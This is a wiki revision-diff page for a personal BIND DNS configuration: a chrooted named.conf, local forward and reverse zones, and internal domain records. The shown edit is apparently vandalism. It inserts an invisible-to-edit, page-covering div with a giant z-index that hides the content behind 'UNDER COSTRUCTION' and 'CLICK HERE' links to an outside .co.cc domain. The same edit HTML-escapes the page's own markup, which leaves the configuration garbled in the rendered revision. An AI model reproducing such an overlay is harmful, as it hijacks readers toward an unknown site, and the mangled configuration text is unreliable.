Named

From Attie's Wiki
(Difference between revisions)
Jump to: navigation, search
m
Line 1: Line 1:
 +
----
 +
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
 +
----
 +
=[http://ipelasuq.co.cc UNDER COSTRUCTION, PLEASE SEE THIS POST IN RESERVE COPY]=
 +
----
 +
=[http://ipelasuq.co.cc CLICK HERE]=
 +
----
 +
</div>
 
Below is Attie's DNS configuration:
 
Below is Attie's DNS configuration:
  
I left <code>/etc/named.conf</code> unchanged
+
I left &lt;code&gt;/etc/named.conf&lt;/code&gt; unchanged
  
You want to make sure that your DNS server chroots into <code>/var/named/chroot</code>
+
You want to make sure that your DNS server chroots into &lt;code&gt;/var/named/chroot&lt;/code&gt;
  
<code>/var/named/chroot/etc/named.conf</code>:
+
&lt;code&gt;/var/named/chroot/etc/named.conf&lt;/code&gt;:
<pre>
+
&lt;pre&gt;
 
options {
 
options {
 
         forwarders { 192.168.0.253; };
 
         forwarders { 192.168.0.253; };
Line 13: Line 21:
  
 
// prime the server with knowledge of the root servers
 
// prime the server with knowledge of the root servers
zone "." {
+
zone &quot;.&quot; {
 
         type hint;
 
         type hint;
         file "/etc/named/db.root";
+
         file &quot;/etc/named/db.root&quot;;
 
};
 
};
  
Line 21: Line 29:
 
// broadcast zones as per RFC 1912
 
// broadcast zones as per RFC 1912
  
zone "localhost" in              { type master;  file "/etc/named/db.localhost"; };
+
zone &quot;localhost&quot; in              { type master;  file &quot;/etc/named/db.localhost&quot;; };
zone "127.in-addr.arpa" in      { type master;  file "/etc/named/db.127";      };
+
zone &quot;127.in-addr.arpa&quot; in      { type master;  file &quot;/etc/named/db.127&quot;;      };
zone "0.in-addr.arpa" in        { type master;  file "/etc/named/db.0";        };
+
zone &quot;0.in-addr.arpa&quot; in        { type master;  file &quot;/etc/named/db.0&quot;;        };
zone "255.in-addr.arpa" in      { type master;  file "/etc/named/db.255";      };
+
zone &quot;255.in-addr.arpa&quot; in      { type master;  file &quot;/etc/named/db.255&quot;;      };
  
 
// local network
 
// local network
zone "local" in                  { type master; file "/etc/named/db.local";      notify yes; };
+
zone &quot;local&quot; in                  { type master; file &quot;/etc/named/db.local&quot;;      notify yes; };
zone "0.168.192.in-addr.arpa" in { type master; file "/etc/named/db.192.168.0";  notify yes; };
+
zone &quot;0.168.192.in-addr.arpa&quot; in { type master; file &quot;/etc/named/db.192.168.0&quot;;  notify yes; };
  
 
// attie.co.uk - this is an internal version of the domain
 
// attie.co.uk - this is an internal version of the domain
zone "attie.co.uk" in            { type master; file "/etc/named/db.attie.co.uk"; notify yes; };
+
zone &quot;attie.co.uk&quot; in            { type master; file &quot;/etc/named/db.attie.co.uk&quot;; notify yes; };
</pre>
+
&lt;/pre&gt;
  
<code>/var/named/chroot/etc/named/db.192.168.0</code>:
+
&lt;code&gt;/var/named/chroot/etc/named/db.192.168.0&lt;/code&gt;:
<pre>
+
&lt;pre&gt;
 
$TTL 86400
 
$TTL 86400
 
@      SOA    akela.local. root.local. ( 94 10800 3600 604800 600 )
 
@      SOA    akela.local. root.local. ( 94 10800 3600 604800 600 )
Line 42: Line 50:
 
1              PTR    lan.baloo.local.
 
1              PTR    lan.baloo.local.
 
.....
 
.....
</pre>
+
&lt;/pre&gt;
  
<code>/var/named/chroot/etc/named/db.local</code>:
+
&lt;code&gt;/var/named/chroot/etc/named/db.local&lt;/code&gt;:
<pre>
+
&lt;pre&gt;
 
$TTL 86400
 
$TTL 86400
 
@      SOA    akela akela.local ( 94 10800 3600 604800 600 )
 
@      SOA    akela akela.local ( 94 10800 3600 604800 600 )
Line 55: Line 63:
 
lan.baloo              CNAME  baloo.local.
 
lan.baloo              CNAME  baloo.local.
 
.....
 
.....
</pre>
+
&lt;/pre&gt;

Revision as of 01:24, 24 November 2010



UNDER COSTRUCTION, PLEASE SEE THIS POST IN RESERVE COPY


CLICK HERE


Below is Attie's DNS configuration:

I left <code>/etc/named.conf</code> unchanged

You want to make sure that your DNS server chroots into <code>/var/named/chroot</code>

<code>/var/named/chroot/etc/named.conf</code>: <pre> options {

       forwarders { 192.168.0.253; };
       forward only;

};

// prime the server with knowledge of the root servers zone "." {

       type hint;
       file "/etc/named/db.root";

};

// be authoritative for the localhost forward and reverse zones, and for // broadcast zones as per RFC 1912

zone "localhost" in { type master; file "/etc/named/db.localhost"; }; zone "127.in-addr.arpa" in { type master; file "/etc/named/db.127"; }; zone "0.in-addr.arpa" in { type master; file "/etc/named/db.0"; }; zone "255.in-addr.arpa" in { type master; file "/etc/named/db.255"; };

// local network zone "local" in { type master; file "/etc/named/db.local"; notify yes; }; zone "0.168.192.in-addr.arpa" in { type master; file "/etc/named/db.192.168.0"; notify yes; };

// attie.co.uk - this is an internal version of the domain zone "attie.co.uk" in { type master; file "/etc/named/db.attie.co.uk"; notify yes; }; </pre>

<code>/var/named/chroot/etc/named/db.192.168.0</code>: <pre> $TTL 86400 @ SOA akela.local. root.local. ( 94 10800 3600 604800 600 )

       NS      akela.local.

1 PTR lan.baloo.local. ..... </pre>

<code>/var/named/chroot/etc/named/db.local</code>: <pre> $TTL 86400 @ SOA akela akela.local ( 94 10800 3600 604800 600 )

       NS      akela

localhost A 127.0.0.1

baloo A 192.168.0.1 lan.baloo CNAME baloo.local. ..... </pre>

Personal tools
Namespaces

Variants
Actions
Navigation
Toolbox